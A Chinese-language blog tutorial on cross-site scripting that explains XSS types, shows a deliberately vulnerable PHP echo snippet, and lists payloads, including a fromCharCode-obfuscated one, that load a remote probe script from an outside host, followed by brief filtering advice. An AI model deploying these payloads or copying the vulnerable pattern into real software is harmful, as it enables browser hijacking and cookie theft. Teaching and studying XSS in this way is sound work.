XSS漏洞分析


  • 什麼是XSS


    • 跨站腳本***(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本***縮寫爲XSS。惡意***者往web頁面裏插入而已html代碼,當瀏覽該頁之時,嵌入其中web裏面的html代碼會被執行,從而達到而已***用戶的特殊目的。

  • XSS可以幹什麼


    • 盜取管理員Cookie或用戶Cookie

    • XSS Worm

    • 掛馬(水坑***)

    • 有侷限性的鍵盤記錄

  • XSS分類


    • 放射性XSS

    • 存儲型XSS

    • DOM XSS

    • flash XSS

    • mXSS

  • 反射(非持久)型XSS


    • 發出請求時,XSS代碼出現在URL中,最後輸入提交到服務器,服務器解析後響應在響應內容中出現這段XSS代碼,最後瀏覽器解析執行

    • 這個過程就像一次反射,所以命名爲反射性XSS

xss.php
<?php
     echo $_GET['x']
?>
#提交
/xss.php?x=<script>alert(1)</script>
  • 服務端解析式,echo就會完整的輸出<script>alert(1)</script>到響應體中,然後瀏覽器解析執行觸發彈窗

  • 儲存(持久)型XSS


    • 儲存型XSS和反射型XSS的差別僅在於:提交的XSS代碼會儲存在服務器(不管是數據庫/內存/文件系統等),下次請求目標頁面是不用在提交XSS代碼。

    • 最典型的例子就是留言板XSS,用戶提交一條包含XSS代碼的留言儲存到數據庫中,目標用戶查看留言板是,那些留言內容會從數據庫查村出來並顯示,瀏覽器發現有XSS代碼,就當作正常的HTML和JS解析執行,於是觸發了XSS***

    • 儲存性XSS的***是最隱蔽的

#eg:http://www.nfpeople.com/user.php?id=21839
  • XSS是如何利用的

    • payload(有效的***代碼)

<script src='http://b.ioio.pub/xss/probe.js'></script>

<img src=x onerror="s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js'";>

<svg onload=s=createElement('script');body.appendChild(s);s.src='http://b.ioio.pub/xss/probe.js>

<svg onload=eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109,
101,110,116,40,39,115,99,114,105,112,116,39,41,59,98,111,100,121,46,9
7,112,112,101,110,100,67,104,105,108,100,40,115,41,59,115,46,115,114,
99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98,
47,120,115,115,47,112,114,111,98,101,46,106,115)) >
  • 修復

    • 對XSS的防禦需要根據實際情況對用戶的輸入進行嚴格的過濾。基於過濾的XSS防禦方式通常可分爲兩種:基於黑名單的過濾和基於白名單的過濾。後者的防禦效果往往更好,對於用戶在白名單之外的輸入,可以直接忽略。在構造白名單的過程中需要保證在不影響用戶體驗的同時,儘可能杜絕一切不必要的輸入內容。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章